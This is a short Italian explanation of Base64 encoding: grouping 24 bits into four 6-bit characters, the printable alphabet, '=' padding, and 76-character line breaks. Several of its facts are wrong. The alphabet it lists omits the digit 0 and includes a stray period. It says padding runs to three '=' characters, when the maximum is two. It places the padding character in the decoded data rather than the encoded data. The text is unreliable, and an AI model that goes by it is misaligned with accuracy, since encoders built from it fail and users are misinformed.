Il principio della codifica Base64 consiste nell’utilizzare 4 caratteri stampabili (in formato US-ASCII) per codificare un gruppo di 3 octet qualsiasi (3*8 bit = 24 bits).
La codifica Base64 usa un alfabeto di 64 caratteri classici stampabili per rappresentare un dato di 6 bits. I 64 simboli di questo alfabeto sono scelti per essere universalmente leggibili e per non avere significato nei principali protocolli di messaggeria (in particolare SMTP).

ABCDEFGHIJKLMNOPQRSTUVWXYZ
abcdefghijklmnopqrstuvwxyz
123456789+/.

Percorrendo i dati binari da sinistra a destra, i gruppi di 24 bits sono creati concatenando dei blocchi di 3 dati di 8 bits. Ogni gruppo di 24 bits è quindi diviso in 4 gruppi di 6 bits, corrispondente a 4 caratteri dell’alfabeto Base64.
La codifica Base64 è previsto per dati che formano un multiplo di 24 bits. Quindi, se il volume di dati da codificare non forma un multiplo di 24 bits, il risultato della codifica Base64 deve essere completato da 0 a 3 caratteri « = » per ottenere un multiplo di 24 bits. Questo 65esimo carattere non può quindi essere presentato che alla fine dei dati decodificati.
D’altra parte, per garantire una compatibilità con l’insieme dei sistemi di messaggeria, i dati Base64 sono formattati con dei ritorni a capo per ogni linea che non supera i 76 caratteri.
Per codificare o decodificare una stringa in Base64, andate qui